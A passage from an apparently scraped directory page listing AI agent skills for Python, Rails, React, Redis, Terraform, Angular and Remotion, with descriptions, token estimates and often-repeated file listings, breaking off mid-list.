Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, OpenCV, trimesh, and 100+ more libraries. Use for: data processing, web scraping, image manipulation, video creation, 3D model processing, PDF generation, API calls, automation scripts. Triggers: python, execute code, run script, web scraping, data analysis, image processing, video editing, 3D models, automation, pandas, matplotlib
What it loads into context
Frontmatter
141 tokensAlways available to the agent
SKILL.md
1,696 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- App Details
- Input Schema
- Pre-installed Libraries
- Examples
- File Output
- Variants
- Use Cases
- Important Notes
- Related Skills
- Documentation
Files
SKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytesSKILL.mdcore6,174 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpython-patterns
When your agent uses it
Pythonic idioms, PEP 8 standards, type hints, and best practices for building robust, efficient, and maintainable Python applications. Use when writing or reviewing Python code and idiomatic structure, typing, or PEP 8 is in question.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
4,239 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- Core Principles
- Type Hints
- Error Handling Patterns
- Context Managers
- Comprehensions and Generators
- Data Classes and Named Tuples
- Decorators
- Concurrency Patterns
- Package Organization
- Memory and Performance
- Python Tooling Integration
- Quick Reference: Python Idioms
- Anti-Patterns to Avoid
Files
SKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytesSKILL.mdcore16,914 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpython-testing-patterns
When your agent uses it
Implement comprehensive testing strategies with pytest, fixtures, mocking, and test-driven development. Use when writing Python tests, setting up test suites, or implementing testing best practices.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,683 tokensWhen the skill is activated
Reference documents
4,489 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Core Concepts
- Quick Start
- Detailed patterns and worked examples
- Testing Best Practices
Files
SKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesSKILL.mdcore7,282 bytesreferences/advanced-patterns.mddoc9,454 bytesreferences/details.mddoc9,261 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrails-guides
When your agent uses it
Official Rails documentation. Use when asked about any Rails-specific topic including ActiveRecord, routing, controllers, views, mailers, jobs, Action Cable, Action Text, Active Storage, migrations, validations, callbacks, associations, caching, security, or internals.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,097 tokensWhen the skill is activated
Reference documents
569,199 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Topic Map
Files
SKILL.mdcore4,816 bytesreferences/action_cable_overview.mddoc33,534 bytesreferences/action_controller_advanced_topics.mddoc25,571 bytesreferences/action_controller_overview.mddoc52,060 bytesreferences/action_mailbox_basics.mddoc18,814 bytesreferences/action_mailer_basics.mddoc37,145 bytesreferences/action_text_overview.mddoc18,609 bytesreferences/action_view_helpers.mddoc31,743 bytesreferences/action_view_overview.mddoc28,805 bytesreferences/active_job_basics.mddoc49,279 bytesreferences/active_model_basics.mddoc43,704 bytesreferences/active_record_basics.mddoc25,506 bytesreferences/active_record_callbacks.mddoc45,027 bytesreferences/active_record_composite_primary_keys.mddoc10,629 bytesreferences/active_record_encryption.mddoc31,293 bytesreferences/active_record_migrations.mddoc71,199 bytesreferences/active_record_multiple_databases.mddoc26,078 bytesreferences/active_record_postgresql.mddoc24,243 bytesreferences/active_record_querying.mddoc108,252 bytesreferences/active_record_validations.mddoc66,388 bytesreferences/active_storage_overview.mddoc64,593 bytesreferences/active_support_core_extensions.mddoc144,745 bytesreferences/active_support_instrumentation.mddoc39,890 bytesreferences/api_app.mddoc20,704 bytesreferences/asset_pipeline.mddoc46,592 bytesreferences/association_basics.mddoc108,166 bytesreferences/autoloading_and_reloading_constants.mddoc30,582 bytesreferences/caching_with_rails.mddoc40,054 bytesreferences/command_line.mddoc50,349 bytesreferences/configuring.mddoc210,873 bytesreferences/debugging_rails_applications.mddoc40,191 bytesreferences/engines.mddoc63,397 bytesreferences/error_reporting.mddoc10,167 bytesreferences/form_helpers.mddoc55,487 bytesreferences/generators.mddoc28,240 bytesreferences/getting_started.mddoc100,432 bytesreferences/i18n.mddoc56,358 bytesreferences/initialization.mddoc19,611 bytesreferences/layouts_and_rendering.mddoc55,407 bytesreferences/plugins.mddoc23,792 bytesreferences/rails_on_rack.mddoc20,672 bytesreferences/routing.mddoc66,504 bytesreferences/security.mddoc99,436 bytesreferences/testing.mddoc107,863 bytesreferences/threading_and_code_execution.mddoc13,099 bytesreferences/tuning_performance_for_deployment.mddoc14,858 bytesreferences/upgrading_ruby_on_rails.mddoc118,102 bytesreferences/working_with_javascript_in_rails.mddoc13,284 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrails-upgrade
When your agent uses it
Analyzes Rails applications and generates comprehensive upgrade reports with breaking changes, deprecations, and step-by-step migration guides for Rails 2.3 through 8.1. Use when upgrading Rails applications, planning multi-hop upgrades, querying version-specific changes, or answering what stands between the app and the next Rails version. Based on FastRuby.io methodology and "The Complete Guide to Upgrade Rails" ebook.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
2,868 tokensWhen the skill is activated
Reference documents
124,099 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Skill Identity
- Terminology
- Dependencies
- Core Methodology (FastRuby.io Approach)
- CRITICAL: Dual-Boot Code Pattern with `NextRails.next?`
- Available Resources
- Workflow index
- Key Principles
Scripts executed separately
detection-scripts/gem_limits.rbdetection-scripts/hop.rbdetection-scripts/scan_patterns.rb
Files
SKILL.mdcore11,229 bytesdetection-scripts/gem_limits.rbruns6,171 bytesdetection-scripts/hop.rbruns2,225 bytesdetection-scripts/patterns/rails-40-patterns.expectations.ymlasset44,863 bytesdetection-scripts/patterns/rails-40-patterns.ymlasset98,662 bytesdetection-scripts/patterns/rails-41-patterns.expectations.ymlasset25,007 bytesdetection-scripts/patterns/rails-41-patterns.ymlasset58,435 bytesdetection-scripts/patterns/rails-42-patterns.ymlasset9,903 bytesdetection-scripts/patterns/rails-50-patterns.expectations.ymlasset1,921 bytesdetection-scripts/patterns/rails-50-patterns.ymlasset8,277 bytesdetection-scripts/patterns/rails-51-patterns.expectations.ymlasset4,337 bytesdetection-scripts/patterns/rails-51-patterns.ymlasset15,321 bytesdetection-scripts/patterns/rails-52-patterns.expectations.ymlasset5,116 bytesdetection-scripts/patterns/rails-52-patterns.ymlasset15,084 bytesdetection-scripts/patterns/rails-60-patterns.expectations.ymlasset1,007 bytesdetection-scripts/patterns/rails-60-patterns.ymlasset14,530 bytesdetection-scripts/patterns/rails-70-patterns.expectations.ymlasset4,110 bytesdetection-scripts/patterns/rails-70-patterns.ymlasset11,461 bytesdetection-scripts/patterns/rails-71-patterns.expectations.ymlasset3,130 bytesdetection-scripts/patterns/rails-71-patterns.ymlasset9,677 bytesdetection-scripts/patterns/rails-72-patterns.expectations.ymlasset1,221 bytesdetection-scripts/patterns/rails-72-patterns.ymlasset6,265 bytesdetection-scripts/patterns/rails-80-patterns.expectations.ymlasset6,720 bytesdetection-scripts/patterns/rails-80-patterns.ymlasset21,756 bytesdetection-scripts/patterns/rails-81-patterns.expectations.ymlasset4,438 bytesdetection-scripts/patterns/rails-81-patterns.ymlasset13,567 bytesdetection-scripts/scan_patterns.rbruns38,384 bytesexamples/multi-hop-upgrade.mddoc19,394 bytesexamples/simple-upgrade.mddoc4,089 bytesreferences/breaking-changes-by-version-reference.mddoc3,968 bytesreferences/deprecation-warnings-reference.mddoc11,000 bytesreferences/gem-compatibility-reference.mddoc8,389 bytesreferences/js-compressor-sprockets-mismatch-reference.mddoc4,771 bytesreferences/multi-hop-strategy-reference.mddoc9,012 bytesreferences/next-hop-readiness-reference.mddoc2,112 bytesreferences/no-test-suite-smoke-reference.mddoc4,819 bytesreferences/request-patterns-reference.mddoc3,788 bytesreferences/sequential-strategy-reference.mddoc2,101 bytesreferences/staying-current-reference.mddoc7,986 bytesreferences/testing-checklist-reference.mddoc6,404 bytestemplates/app-update-preview-template.mddoc4,449 bytestemplates/upgrade-report-template.mddoc10,426 bytesversion-guides/upgrade-3.2-to-4.0.mddoc66,859 bytesversion-guides/upgrade-4.0-to-4.1.mddoc64,025 bytesversion-guides/upgrade-4.1-to-4.2.mddoc16,715 bytesversion-guides/upgrade-4.2-to-5.0.mddoc9,910 bytesversion-guides/upgrade-5.0-to-5.1.mddoc19,531 bytesversion-guides/upgrade-5.1-to-5.2.mddoc18,095 bytesversion-guides/upgrade-5.2-to-6.0.mddoc6,558 bytesversion-guides/upgrade-6.0-to-6.1.mddoc6,912 bytesversion-guides/upgrade-6.1-to-7.0.mddoc15,031 bytesversion-guides/upgrade-7.0-to-7.1.mddoc13,499 bytesversion-guides/upgrade-7.1-to-7.2.mddoc11,473 bytesversion-guides/upgrade-7.2-to-8.0.mddoc23,654 bytesversion-guides/upgrade-8.0-to-8.1.mddoc14,297 bytesworkflows/00-verify-latest-patch-workflow.mddoc1,700 bytesworkflows/01-run-test-suite-workflow.mddoc12,965 bytesworkflows/02-resolve-deprecation-warnings-workflow.mddoc6,470 bytesworkflows/03-validate-upgrade-path-workflow.mddoc1,833 bytesworkflows/04-setup-next-rails-workflow.mddoc1,582 bytesworkflows/05-detect-breaking-changes-workflow.mddoc19,670 bytesworkflows/06-check-gem-compatibility-workflow.mddoc11,337 bytesworkflows/07-boot-smoke-test-workflow.mddoc7,436 bytesworkflows/08-generate-upgrade-report-workflow.mddoc12,981 bytesworkflows/09-generate-app-update-preview-workflow.mddoc7,457 bytesworkflows/10-implement-and-upgrade-workflow.mddoc2,555 bytesworkflows/11-sync-ci-workflow.mddoc8,837 bytesworkflows/12-align-load-defaults-workflow.mddoc952 bytesworkflows/13-mention-cleanup-workflow.mddoc1,362 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvercel-react-best-practices
When your agent uses it
React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
1,764 tokensWhen the skill is activated
Reference documents
53,453 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
Files
AGENTS.mddoc108,261 bytesREADME.mddoc3,360 bytesSKILL.mdcore7,251 bytesmetadata.jsonasset921 bytesrules/_sections.mddoc1,554 bytesrules/_template.mddoc631 bytesrules/advanced-effect-event-deps.mddoc1,802 bytesrules/advanced-event-handler-refs.mddoc1,483 bytesrules/advanced-init-once.mddoc958 bytesrules/advanced-use-latest.mddoc1,072 bytesrules/async-api-routes.mddoc1,125 bytesrules/async-cheap-condition-before-await.mddoc1,220 bytesrules/async-defer-await.mddoc2,208 bytesrules/async-dependencies.mddoc1,293 bytesrules/async-parallel.mddoc654 bytesrules/async-suspense-boundaries.mddoc2,510 bytesrules/bundle-analyzable-paths.mddoc2,382 bytesrules/bundle-barrel-imports.mddoc2,795 bytesrules/bundle-conditional.mddoc949 bytesrules/bundle-defer-third-party.mddoc920 bytesrules/bundle-dynamic-imports.mddoc791 bytesrules/bundle-preload.mddoc1,149 bytesrules/client-event-listeners.mddoc1,969 bytesrules/client-localstorage-schema.mddoc1,950 bytesrules/client-passive-event-listeners.mddoc1,644 bytesrules/client-swr-dedup.mddoc1,159 bytesrules/js-batch-dom-css.mddoc3,266 bytesrules/js-cache-function-results.mddoc1,949 bytesrules/js-cache-property-access.mddoc532 bytesrules/js-cache-storage.mddoc1,651 bytesrules/js-combine-iterations.mddoc753 bytesrules/js-early-exit.mddoc1,133 bytesrules/js-flatmap-filter.mddoc1,411 bytesrules/js-hoist-regexp.mddoc1,028 bytesrules/js-index-maps.mddoc837 bytesrules/js-length-check-first.mddoc1,747 bytesrules/js-min-max-loop.mddoc2,290 bytesrules/js-request-idle-callback.mddoc2,647 bytesrules/js-set-map-lookups.mddoc532 bytesrules/js-tosorted-immutable.mddoc1,782 bytesrules/rendering-activity.mddoc564 bytesrules/rendering-animate-svg-wrapper.mddoc1,185 bytesrules/rendering-conditional-render.mddoc980 bytesrules/rendering-content-visibility.mddoc815 bytesrules/rendering-hoist-jsx.mddoc1,039 bytesrules/rendering-hydration-no-flicker.mddoc2,308 bytesrules/rendering-hydration-suppress-warning.mddoc872 bytesrules/rendering-resource-hints.mddoc2,549 bytesrules/rendering-script-defer-async.mddoc1,868 bytesrules/rendering-svg-precision.mddoc588 bytesrules/rendering-usetransition-loading.mddoc2,074 bytesrules/rerender-defer-reads.mddoc973 bytesrules/rerender-dependencies.mddoc824 bytesrules/rerender-derived-state-no-effect.mddoc1,201 bytesrules/rerender-derived-state.mddoc728 bytesrules/rerender-functional-setstate.mddoc2,968 bytesrules/rerender-lazy-state-init.mddoc2,016 bytesrules/rerender-memo-with-default-value.mddoc1,173 bytesrules/rerender-memo.mddoc1,148 bytesrules/rerender-move-effect-to-event.mddoc1,268 bytesrules/rerender-no-inline-components.mddoc2,135 bytesrules/rerender-simple-expression-in-memo.mddoc1,018 bytesrules/rerender-split-combined-hooks.mddoc1,844 bytesrules/rerender-transitions.mddoc1,055 bytesrules/rerender-use-deferred-value.mddoc1,846 bytesrules/rerender-use-ref-transient-values.mddoc1,742 bytesrules/server-after-nonblocking.mddoc2,012 bytesrules/server-auth-actions.mddoc2,649 bytesrules/server-cache-lru.mddoc1,353 bytesrules/server-cache-react.mddoc2,228 bytesrules/server-dedup-props.mddoc2,060 bytesrules/server-hoist-static-io.mddoc4,423 bytesrules/server-no-shared-module-state.mddoc1,766 bytesrules/server-parallel-fetching.mddoc1,554 bytesrules/server-parallel-nested-fetching.mddoc992 bytesrules/server-serialization.mddoc996 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreact-hook-form
When your agent uses it
React Hook Form performance optimization for client-side form validation using useForm, useWatch, useController, useFieldArray, the subscribe() API, and the Watch / FormStateSubscribe / FieldArray render-prop components. Covers RHF 7.82 additions including resetDefaultValues() and the disabled field-array option. This skill should be used when building client-side controlled forms with React Hook Form library. This skill does NOT cover React 19 Server Actions, useActionState, or server-side form handling (use react-19 skill for those).
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
1,461 tokensWhen the skill is activated
Reference documents
24,392 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- When NOT to Use This Skill
- Rule Categories by Priority
- Quick Reference
- How to Use
- Related Skills
- Full Compiled Document
Files
AGENTS.mddoc10,423 bytesREADME.mddoc4,433 bytesSKILL.mdcore6,190 bytesassets/templates/_template.mddoc589 bytesmetadata.jsonasset1,967 bytesreferences/_sections.mddoc2,083 bytesreferences/array-disabled-silently-noops.mddoc2,397 bytesreferences/array-separate-crud-operations.mddoc2,003 bytesreferences/array-unique-fieldarray-per-name.mddoc1,738 bytesreferences/array-use-field-id-as-key.mddoc2,101 bytesreferences/ctrl-controller-field-props.mddoc1,731 bytesreferences/ctrl-usecontroller-isolation.mddoc2,892 bytesreferences/formcfg-async-default-values.mddoc1,796 bytesreferences/formcfg-default-values.mddoc2,381 bytesreferences/formcfg-disabled-prop.mddoc3,839 bytesreferences/formcfg-revalidate-mode.mddoc2,352 bytesreferences/formcfg-should-unregister.mddoc2,517 bytesreferences/formcfg-transformed-values-generic.mddoc3,488 bytesreferences/formcfg-useeffect-dependency.mddoc2,401 bytesreferences/formcfg-validation-mode.mddoc2,468 bytesreferences/formcfg-values-prop.mddoc2,649 bytesreferences/formstate-async-submit-lifecycle.mddoc3,567 bytesreferences/formstate-avoid-isvalid-with-onsubmit.mddoc2,663 bytesreferences/formstate-destructure-formstate.mddoc2,339 bytesreferences/formstate-handlesubmit-oninvalid.mddoc2,485 bytesreferences/formstate-reset-default-values.mddoc3,190 bytesreferences/formstate-useformstate-isolation.mddoc2,301 bytesreferences/integ-shadcn-form-import.mddoc1,637 bytesreferences/integ-shadcn-select-wiring.mddoc1,904 bytesreferences/integ-value-transform.mddoc1,554 bytesreferences/sub-avoid-watch-in-render.mddoc1,604 bytesreferences/sub-memo-cannot-beat-context.mddoc2,359 bytesreferences/sub-render-prop-components.mddoc3,651 bytesreferences/sub-subscribe-outside-react.mddoc3,253 bytesreferences/sub-useformcontext-sparingly.mddoc1,659 bytesreferences/sub-usewatch-over-watch.mddoc2,432 bytesreferences/sub-watch-specific-fields.mddoc1,847 bytesreferences/valid-delay-error.mddoc2,127 bytesreferences/valid-resolver-caching.mddoc2,771 bytesreferences/valid-server-errors.mddoc3,636 bytesreferences/valid-valueasnumber-empty-nan.mddoc2,754 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreact-three-fiber
When your agent uses it
React Three Fiber 3D renderer for json-render. Use when working with @json-render/react-three-fiber, building 3D scenes from JSON specs, rendering meshes/lights/models/environments, or integrating Three.js with json-render catalogs.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
1,384 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Two Entry Points
- Usage Pattern
- Rendering
- Available Components (19)
- Shared Schemas
- Material Schema
- Spec Format
- Dependencies
Files
SKILL.mdcore5,301 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubredis-core
When your agent uses it
Core Redis modeling guidance — choose the right data structure (String, Hash, List, Set, Sorted Set, JSON, Stream, Vector Set) and use consistent colon-separated key names. Use when designing a Redis data model, caching objects, deciding between Hash and JSON, building counters, leaderboards, membership sets, or session stores, or when reviewing/cleaning up Redis key naming.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
741 tokensWhen the skill is activated
Reference documents
947 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to apply
- 1. Choose the right data structure
- 2. Use consistent key names
- References
Files
SKILL.mdcore3,040 bytesreferences/choose-data-structure.mddoc2,330 bytesreferences/key-naming.mddoc1,516 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrefactor-module
When your agent uses it
Transform monolithic Terraform configurations into reusable, maintainable modules following HashiCorp's module design principles and community best practices.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
3,695 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Capability Statement
- Prerequisites
- Input Parameters
- Execution Steps
- Refactoring Patterns
- Common Pitfalls
- Version Control Strategy
- Success Criteria
- Related Skills
- Resources
- Revision History
Files
SKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytesSKILL.mdcore14,729 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreference-compiler-cli
When your agent uses it
Explains the mental model and architecture of the code under `packages/compiler-cli`. You MUST use this skill any time you plan to work with code in `packages/compiler-cli`
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,341 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Mental Model
- Key Subsystems
- Compilation Phases
- Important File Locations
Files
SKILL.mdcore5,671 bytesSKILL.mdcore5,671 bytesSKILL.mdcore5,671 bytesSKILL.mdcore5,671 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreference-core
When your agent uses it
Explains the mental model and architecture of the code under `packages/core`. You MUST use this skill any time you plan to work with code in `packages/core`
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,177 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. High-Level Architecture
- 2. Rendering Engine (Ivy / Render3)
- 3. Dependency Injection (DI)
- 4. Change Detection
- 5. Key Directories to Know
- 6. Conventions & Gotchas
- 7. How to Modify Core
Files
SKILL.mdcore5,020 bytesSKILL.mdcore5,020 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreference-signal-forms
When your agent uses it
Explains the mental model and architecture of the code under `packages/forms/signals`. You MUST use this skill any time you plan to work with code in `packages/forms/signals`
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,080 tokensWhen the skill is activated
Reference documents
754 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mental Model
- Key Components
- Data Flow
- Usage Example (Conceptual)
- Important Files
- Supplemental Information
Files
SKILL.mdcore4,531 bytesSKILL.mdcore4,531 bytesreferences/integration.mddoc3,337 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubremotion-best-practices
When your agent uses it
Router for all Remotion skills
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
973 tokensWhen the skill is activated
Reference documents
83,486 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Preserve user changes
- Creating a video
- New project setup
- React Markup Best Practices
- Maps
- Multimedia
- Improving Interactivity
- Open the preview
- Render the video
- Captions
- Creating a SaaS, automation or application
- Looking up Remotion APIs and documentation
- Upgrading
Scripts executed separately
remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsxremotion-maps/techniques/cesium/assets/example-Root.tsxremotion-maps/techniques/cesium/assets/flight-path.tsremotion-maps/techniques/cesium/scripts/prep-cesium-path.mjsremotion-maps/techniques/maptiler/assets/CountryLabel.tsxremotion-maps/techniques/maptiler/assets/MapTilerVectorElement.tsremotion-maps/techniques/maptiler/assets/RiverReveal.tsxremotion-maps/techniques/maptiler/assets/example-Root.tsxremotion-maps/techniques/maptiler/assets/tokens.tsremotion-maps/techniques/maptiler/scripts/prep-geo.mjsremotion-markup/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsxremotion-markup/remotion-maps/techniques/cesium/assets/example-Root.tsxremotion-markup/remotion-maps/techniques/cesium/assets/flight-path.tsremotion-markup/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjsremotion-markup/remotion-maps/techniques/maptiler/assets/CountryLabel.tsxremotion-markup/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.tsremotion-markup/remotion-maps/techniques/maptiler/assets/RiverReveal.tsxremotion-markup/remotion-maps/techniques/maptiler/assets/example-Root.tsxremotion-markup/remotion-maps/techniques/maptiler/assets/tokens.tsremotion-markup/remotion-maps/techniques/maptiler/scripts/prep-geo.mjs
Files
SKILL.mdcore4,215 bytesSKILL.mdcore4,215 bytesSKILL.mdcore4,215 bytesSKILL.mdcore4,215 bytesagents/openai.yamlasset311 bytesassets/remotion-icon.svgasset1,303 bytesremotion-captions/REFERENCE.mddoc1,152 bytesremotion-captions/agents/openai.yamlasset305 bytesremotion-captions/assets/remotion-icon.svgasset1,303 bytesremotion-captions/display-captions.mddoc6,104 bytesremotion-captions/import-srt-captions.mddoc2,231 bytesremotion-captions/transcribe-captions.mddoc5,533 bytesremotion-create/REFERENCE.mddoc2,973 bytesremotion-create/agents/openai.yamlasset310 bytesremotion-create/assets/remotion-icon.svgasset1,303 bytesremotion-create/tailwind.mddoc386 bytesremotion-create/video-layout.mddoc498 bytesremotion-docs/REFERENCE.mddoc1,355 bytesremotion-docs/agents/openai.yamlasset307 bytesremotion-docs/assets/remotion-icon.svgasset1,303 bytesremotion-interactivity/REFERENCE.mddoc19,331 bytesremotion-interactivity/agents/openai.yamlasset320 bytesremotion-interactivity/assets/remotion-icon.svgasset1,303 bytesremotion-interactivity/inline-effects.mddoc993 bytesremotion-maps/REFERENCE.mddoc1,030 bytesremotion-maps/agents/openai.yamlasset293 bytesremotion-maps/assets/remotion-icon.svgasset1,303 bytesremotion-maps/techniques/cesium/TECHNIQUE.mddoc3,909 bytesremotion-maps/techniques/cesium/assets/CesiumFlythrough.tsxruns8,912 bytesremotion-maps/techniques/cesium/assets/cesium-path.jsonasset12,329 bytesremotion-maps/techniques/cesium/assets/city-path.jsonasset223 bytesremotion-maps/techniques/cesium/assets/example-Root.tsxruns923 bytesremotion-maps/techniques/cesium/assets/flight-path.tsruns1,240 bytesremotion-maps/techniques/cesium/assets/sample-river.geojsonasset6,409 bytesremotion-maps/techniques/cesium/references/3d-data-sources.mddoc1,451 bytesremotion-maps/techniques/cesium/references/3d-flyover-architecture.mddoc7,887 bytesremotion-maps/techniques/cesium/references/3d-troubleshooting.mddoc6,741 bytesremotion-maps/techniques/cesium/scripts/prep-cesium-path.mjsruns5,561 bytesremotion-maps/techniques/mapbox/TECHNIQUE.mddoc13,128 bytesremotion-maps/techniques/mapbox/references/render-stability.mddoc3,639 bytesremotion-maps/techniques/maplibre/TECHNIQUE.mddoc13,843 bytesremotion-maps/techniques/maplibre/references/render-stability.mddoc3,639 bytesremotion-maps/techniques/maptiler/TECHNIQUE.mddoc4,518 bytesremotion-maps/techniques/maptiler/assets/CountryLabel.tsxruns1,849 bytesremotion-maps/techniques/maptiler/assets/MapTilerVectorElement.tsruns2,183 bytesremotion-maps/techniques/maptiler/assets/RiverReveal.tsxruns10,830 bytesremotion-maps/techniques/maptiler/assets/example-Root.tsxruns1,039 bytesremotion-maps/techniques/maptiler/assets/sample-data/country-meta.jsonasset333,134 bytesremotion-maps/techniques/maptiler/assets/sample-data/yarlung-flow.jsonasset13,082 bytesremotion-maps/techniques/maptiler/assets/tokens.tsruns1,256 bytesremotion-maps/techniques/maptiler/references/map-data-sources.mddoc4,798 bytesremotion-maps/techniques/maptiler/references/map-explainer-architecture.mddoc6,871 bytesremotion-maps/techniques/maptiler/references/map-geo-prep.mddoc4,098 bytesremotion-maps/techniques/maptiler/references/render-stability.mddoc3,639 bytesremotion-maps/techniques/maptiler/scripts/prep-geo.mjsruns7,553 bytesremotion-maps/techniques/static-map/TECHNIQUE.mddoc1,151 bytesremotion-markup/3d.mddoc2,292 bytesremotion-markup/REFERENCE.mddoc18,216 bytesremotion-markup/agents/openai.yamlasset310 bytesremotion-markup/assets/remotion-icon.svgasset1,303 bytesremotion-markup/audio-visualization.mddoc4,892 bytesremotion-markup/audio.mddoc4,154 bytesremotion-markup/calculate-metadata.mddoc3,498 bytesremotion-markup/compositions.mddoc5,134 bytesremotion-markup/connected-compositions.mddoc5,199 bytesremotion-markup/cropping.mddoc1,350 bytesremotion-markup/effects.mddoc10,701 bytesremotion-markup/embedding-videos.mddoc3,725 bytesremotion-markup/ffmpeg.mddoc1,112 bytesremotion-markup/gifs.mddoc3,783 bytesremotion-markup/google-fonts.mddoc1,714 bytesremotion-markup/html-in-canvas.mddoc2,976 bytesremotion-markup/images.mddoc1,568 bytesremotion-markup/light-leaks.mddoc3,148 bytesremotion-markup/local-fonts.mddoc1,533 bytesremotion-markup/lottie.mddoc1,806 bytesremotion-markup/measuring-dom-nodes.mddoc995 bytesremotion-markup/measuring-text.mddoc2,801 bytesremotion-markup/motion-blur.mddoc2,039 bytesremotion-markup/multi-scene-video.mddoc3,208 bytesremotion-markup/parameters.mddoc2,403 bytesremotion-markup/remotion-maps/REFERENCE.mddoc1,030 bytesremotion-markup/remotion-maps/agents/openai.yamlasset293 bytesremotion-markup/remotion-maps/assets/remotion-icon.svgasset1,303 bytesremotion-markup/remotion-maps/techniques/cesium/TECHNIQUE.mddoc3,909 bytesremotion-markup/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsxruns8,912 bytesremotion-markup/remotion-maps/techniques/cesium/assets/cesium-path.jsonasset12,329 